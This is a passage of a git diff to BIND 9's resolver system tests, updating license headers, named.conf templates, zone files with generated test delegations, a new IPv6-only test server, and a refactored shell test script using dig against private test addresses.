@@ -81,7 +84,7 @@ zone "targetns" {
 
 key rndc_key {
         secret "1234abcd8765";
-        algorithm hmac-sha256;
+        algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/resolver/ns6/no-edns-version.tld.db b/bin/tests/system/resolver/ns6/no-edns-version.tld.db
index 736c2e5590..9ab654d43f 100644
--- a/bin/tests/system/resolver/ns6/no-edns-version.tld.db
+++ b/bin/tests/system/resolver/ns6/no-edns-version.tld.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/redirect.com.db b/bin/tests/system/resolver/ns6/redirect.com.db
new file mode 100644
index 0000000000..f79f6dd0a8
--- /dev/null
+++ b/bin/tests/system/resolver/ns6/redirect.com.db
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@	IN SOA	ns hostmaster 1 1800 900 604800 600
+@	IN NS	ns
+ns	IN A	10.53.0.6
+
+; 10.53.1.* are non-responsive IP addresses
+$GENERATE 1-100    ns$.fake IN A 10.53.1.$
+$GENERATE 101-200  ns$.fake IN A 10.53.1.${-100}
+$GENERATE 201-300  ns$.fake IN A 10.53.1.${-200}
+$GENERATE 301-400  ns$.fake IN A 10.53.1.${-300}
+$GENERATE 401-500  ns$.fake IN A 10.53.1.${-400}
+$GENERATE 501-600  ns$.fake IN A 10.53.1.${-500}
+$GENERATE 601-700  ns$.fake IN A 10.53.1.${-600}
+$GENERATE 701-800  ns$.fake IN A 10.53.1.${-700}
+$GENERATE 801-900  ns$.fake IN A 10.53.1.${-800}
+$GENERATE 901-1000 ns$.fake IN A 10.53.1.${-900}
diff --git a/bin/tests/system/resolver/ns6/root.db b/bin/tests/system/resolver/ns6/root.db
index 4fb0ffe977..096381c3ce 100644
--- a/bin/tests/system/resolver/ns6/root.db
+++ b/bin/tests/system/resolver/ns6/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -17,6 +19,7 @@ $TTL 300
 				)
 .			NS	a.root-servers.nil.
 a.root-servers.nil.	A	10.53.0.6
+a.root-servers.nil.	AAAA	fd92:7065:b8e:ffff::6
 moves.			NS	ns.server.
 server.			NS	ns7.server.
 ns7.server.		A	10.53.0.7
@@ -29,3 +32,5 @@ no-edns-version.tld.	NS	ns.no-edns-version.tld.
 ns.no-edns-version.tld.	A	10.53.0.6
 edns-version.tld.	NS	ns.edns-version.tld.
 ns.edns-version.tld.	A	10.53.0.7
+v4only.net.		NS	v4.nameserver.
+v4.nameserver.		A	10.53.0.4
diff --git a/bin/tests/system/resolver/ns6/targetns.db b/bin/tests/system/resolver/ns6/targetns.db
index 036e64580b..4d9496b62c 100644
--- a/bin/tests/system/resolver/ns6/targetns.db
+++ b/bin/tests/system/resolver/ns6/targetns.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/tld1.db b/bin/tests/system/resolver/ns6/tld1.db
new file mode 100644
index 0000000000..412509b3c5
--- /dev/null
+++ b/bin/tests/system/resolver/ns6/tld1.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@	IN SOA	ns hostmaster 1 1800 900 604800 600
+@	IN NS	ns
+ns	IN A	10.53.0.6
+
+$GENERATE 1-21 sub IN NS sub-ns$.tld2.
diff --git a/bin/tests/system/resolver/ns6/to-be-removed.tld.db.in b/bin/tests/system/resolver/ns6/to-be-removed.tld.db.in
index 2a1c960208..56380904e7 100644
--- a/bin/tests/system/resolver/ns6/to-be-removed.tld.db.in
+++ b/bin/tests/system/resolver/ns6/to-be-removed.tld.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns7/all-cnames.db b/bin/tests/system/resolver/ns7/all-cnames.db
index 3adcd1d741..85003eec16 100644
--- a/bin/tests/system/resolver/ns7/all-cnames.db
+++ b/bin/tests/system/resolver/ns7/all-cnames.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns7/edns-version.tld.db b/bin/tests/system/resolver/ns7/edns-version.tld.db
index f94d84adb6..bcfae40baa 100644
--- a/bin/tests/system/resolver/ns7/edns-version.tld.db
+++ b/bin/tests/system/resolver/ns7/edns-version.tld.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns7/named1.conf.in b/bin/tests/system/resolver/ns7/named1.conf.in
index 47ce301e86..1d32ae9745 100644
--- a/bin/tests/system/resolver/ns7/named1.conf.in
+++ b/bin/tests/system/resolver/ns7/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,13 +14,13 @@
 // NS7
 
 options {
-	query-source address 10.53.0.7 dscp 13;
-	notify-source 10.53.0.7 dscp 14;
-	transfer-source 10.53.0.7 dscp 15;
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.7; };
-	listen-on-v6 { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::7; };
 	recursion yes;
 	dnssec-validation yes;
 	empty-zones-enable yes;
@@ -29,11 +31,12 @@ options {
 	 */
 	prefetch 0;
 	querylog yes;
+	edns-udp-size 4096;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -60,3 +63,13 @@ zone "all-cnames" {
 	type primary;
 	file "all-cnames.db";
 };
+
+zone "tld2" {
+	type primary;
+	file "tld2.db";
+};
+
+zone "sub.tld1" {
+	type primary;
+	file "sub.tld1.db";
+};
diff --git a/bin/tests/system/resolver/ns7/named2.conf.in b/bin/tests/system/resolver/ns7/named2.conf.in
index 47ce301e86..1d32ae9745 100644
--- a/bin/tests/system/resolver/ns7/named2.conf.in
+++ b/bin/tests/system/resolver/ns7/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,13 +14,13 @@
 // NS7
 
 options {
-	query-source address 10.53.0.7 dscp 13;
-	notify-source 10.53.0.7 dscp 14;
-	transfer-source 10.53.0.7 dscp 15;
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.7; };
-	listen-on-v6 { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::7; };
 	recursion yes;
 	dnssec-validation yes;
 	empty-zones-enable yes;
@@ -29,11 +31,12 @@ options {
 	 */
 	prefetch 0;
 	querylog yes;
+	edns-udp-size 4096;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -60,3 +63,13 @@ zone "all-cnames" {
 	type primary;
 	file "all-cnames.db";
 };
+
+zone "tld2" {
+	type primary;
+	file "tld2.db";
+};
+
+zone "sub.tld1" {
+	type primary;
+	file "sub.tld1.db";
+};
diff --git a/bin/tests/system/resolver/ns7/root.hint b/bin/tests/system/resolver/ns7/root.hint
index a623df91c0..3337bd5d11 100644
--- a/bin/tests/system/resolver/ns7/root.hint
+++ b/bin/tests/system/resolver/ns7/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns7/server.db.in b/bin/tests/system/resolver/ns7/server.db.in
index ab42f26e00..7d5169a5e3 100644
--- a/bin/tests/system/resolver/ns7/server.db.in
+++ b/bin/tests/system/resolver/ns7/server.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns7/sub.tld1.db b/bin/tests/system/resolver/ns7/sub.tld1.db
new file mode 100644
index 0000000000..b2d46c6a87
--- /dev/null
+++ b/bin/tests/system/resolver/ns7/sub.tld1.db
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@	IN SOA	ns hostmaster 1 1800 900 604800 600
+
+$GENERATE 1-21 @ IN NS sub-ns$.tld2.
+
+$GENERATE 1-21 bar IN NS bar-sub-ns$.tld2.
diff --git a/bin/tests/system/resolver/ns7/tld2.db b/bin/tests/system/resolver/ns7/tld2.db
new file mode 100644
index 0000000000..1f31b51c6c
--- /dev/null
+++ b/bin/tests/system/resolver/ns7/tld2.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600
+@	IN SOA	ns hostmaster 1 1800 900 604800 600
+@	IN NS	ns
+ns	IN A	10.53.0.7
+
+$GENERATE 1-21 sub-ns$ IN A 10.53.0.7
+$GENERATE 1-21 bar-sub-ns$ IN A 10.53.0.3
diff --git a/bin/tests/system/resolver/ns9/named.args b/bin/tests/system/resolver/ns9/named.args
new file mode 100644
index 0000000000..0c66bc0608
--- /dev/null
+++ b/bin/tests/system/resolver/ns9/named.args
@@ -0,0 +1,2 @@
+# this server is IPv6 only
+-6 -m record -c named.conf -d 99 -D resolver-ns9 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/resolver/ns9/named.conf.in b/bin/tests/system/resolver/ns9/named.conf.in
new file mode 100644
index 0000000000..3be31db6f8
--- /dev/null
+++ b/bin/tests/system/resolver/ns9/named.conf.in
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS9
+
+options {
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::9; };
+	recursion yes;
+	dnssec-validation yes;
+	dual-stack-servers { fd92:7065:b8e:ffff::7; };
+	qname-minimization off;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet fd92:7065:b8e:ffff::9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "root.hint";
+};
diff --git a/contrib/dlz/drivers/dlz_dlopen_driver.c b/bin/tests/system/resolver/ns9/named.ipv6-only
similarity index 100%
rename from contrib/dlz/drivers/dlz_dlopen_driver.c
rename to bin/tests/system/resolver/ns9/named.ipv6-only
diff --git a/bin/tests/system/resolver/ns9/root.hint b/bin/tests/system/resolver/ns9/root.hint
new file mode 100644
index 0000000000..f74fbf17d1
--- /dev/null
+++ b/bin/tests/system/resolver/ns9/root.hint
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 999999
+.			 IN NS	 a.root-servers.nil.
+a.root-servers.nil.	 IN A	 10.53.0.6
+a.root-servers.nil.	 IN AAAA fd92:7065:b8e:ffff::6;
diff --git a/bin/tests/system/resolver/setup.sh b/bin/tests/system/resolver/setup.sh
index 8ee620696d..eeda13bcd0 100644
--- a/bin/tests/system/resolver/setup.sh
+++ b/bin/tests/system/resolver/setup.sh
@@ -1,14 +1,17 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+# shellcheck source=../conf.sh
 . ../conf.sh
 
 cp ns4/tld1.db ns4/tld.db
@@ -20,5 +23,6 @@ copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
 copy_setports ns7/named1.conf.in ns7/named.conf
+copy_setports ns9/named.conf.in ns9/named.conf
 
 (cd ns6 && $SHELL keygen.sh)
diff --git a/bin/tests/system/resolver/tests.sh b/bin/tests/system/resolver/tests.sh
index a958103c0a..0947045dd5 100755
--- a/bin/tests/system/resolver/tests.sh
+++ b/bin/tests/system/resolver/tests.sh
@@ -1,333 +1,220 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
+# shellcheck source=../conf.sh
 . ../conf.sh
 
-DIGOPTS="-p ${PORT}"
-RESOLVOPTS="-p ${PORT}"
-RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
+dig_with_opts() {
+	"${DIG}" -p "${PORT}" "${@}"
+}
+
+rndccmd() {
+	"${RNDC}" -c ../common/rndc.conf -p "${CONTROLPORT}" -s "${@}"
+}
 
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking non-cachable NXDOMAIN response handling ($n)"
 ret=0
-$DIG $DIGOPTS +tcp nxdomain.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp nxdomain.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x ${RESOLVE} ] ; then
-   n=`expr $n + 1`
-   echo_i "checking non-cachable NXDOMAIN response handling using dns_client ($n)"
-   ret=0
-   $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 nxdomain.example.net 2> resolve.out.ns1.test${n} || ret=1
-   grep "resolution failed: ncache nxdomain" resolve.out.ns1.test${n} > /dev/null || ret=1
-   if [ $ret != 0 ]; then echo_i "failed"; fi
-   status=`expr $status + $ret`
-fi
-
-if [ -x ${RESOLVE} ] ; then
-   n=`expr $n + 1`
-   echo_i "checking that local bound address can be set (Can't query from a denied address) ($n)"
-   ret=0
-   ${RESOLVE} -b 10.53.0.8 $RESOLVOPTS -t a -s 10.53.0.1 www.example.org 2> resolve.out.ns1.test${n} || ret=1
-   grep "resolution failed: SERVFAIL" resolve.out.ns1.test${n} > /dev/null || ret=1
-   if [ $ret != 0 ]; then echo_i "failed"; fi
-   status=`expr $status + $ret`
-
-   n=`expr $n + 1`
-   echo_i "checking that local bound address can be set (Can query from an allowed address) ($n)"
-   ret=0
-   ${RESOLVE} -b 10.53.0.1 $RESOLVOPTS -t a -s 10.53.0.1 www.example.org > resolve.out.ns1.test${n} || ret=1
-   grep "www.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-   if [ $ret != 0 ]; then echo_i "failed"; fi
-   status=`expr $status + $ret`
-fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking non-cachable NODATA response handling ($n)"
 ret=0
-$DIG $DIGOPTS +tcp nodata.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp nodata.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking non-cachable NODATA response handling using dns_client ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 nodata.example.net 2> resolve.out.ns1.test${n} || ret=1
-    grep "resolution failed: ncache nxrrset" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking handling of bogus referrals ($n)"
 # If the server has the "INSIST(!external)" bug, this query will kill it.
-$DIG $DIGOPTS +tcp www.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=`expr $status + 1`; }
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking handling of bogus referrals using dns_client ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 www.example.com 2> resolve.out.ns1.test${n} || ret=1
-    grep "resolution failed: SERVFAIL" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
+dig_with_opts +tcp www.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check handling of cname + other data / 1 ($n)"
-$DIG $DIGOPTS +tcp cname1.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=`expr $status + 1`; }
+dig_with_opts +tcp cname1.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check handling of cname + other data / 2 ($n)"
-$DIG $DIGOPTS +tcp cname2.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=`expr $status + 1`; }
+dig_with_opts +tcp cname2.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that server is still running ($n)"
-$DIG $DIGOPTS +tcp www.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=`expr $status + 1`; }
+dig_with_opts +tcp www.example.com. a @10.53.0.1 >/dev/null || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking answer IPv4 address filtering (deny) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp www.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp www.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking answer IPv6 address filtering (deny) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp www.example.net @10.53.0.1 aaaa > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp www.example.net @10.53.0.1 aaaa > dig.out.ns1.test${n} || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking answer IPv4 address filtering (accept) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp www.example.org @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp www.example.org @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking answer IPv4 address filtering using dns_client (accept) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 www.example.org > resolve.out.ns1.test${n} || ret=1
-    grep "www.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking answer IPv6 address filtering (accept) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp www.example.org @10.53.0.1 aaaa > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp www.example.org @10.53.0.1 aaaa > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking answer IPv6 address filtering using dns_client (accept) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t aaaa -s 10.53.0.1 www.example.org > resolve.out.ns1.test${n} || ret=1
-    grep "www.example.org..*.2001:db8:beef::1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
-
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking CNAME target filtering (deny) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp badcname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp badcname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking CNAME target filtering (accept) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp goodcname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp goodcname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking CNAME target filtering using dns_client (accept) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 goodcname.example.net > resolve.out.ns1.test${n} || ret=1
-    grep "goodcname.example.net..*.goodcname.example.org." resolve.out.ns1.test${n} > /dev/null || ret=1
-    grep "goodcname.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking CNAME target filtering (accept due to subdomain) ($n)"
-ret=0
-$DIG $DIGOPTS +tcp cname.sub.example.org @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking CNAME target filtering using dns_client (accept due to subdomain) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 cname.sub.example.org > resolve.out.ns1.test${n} || ret=1
-    grep "cname.sub.example.org..*.ok.sub.example.org." resolve.out.ns1.test${n} > /dev/null || ret=1
-    grep "ok.sub.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
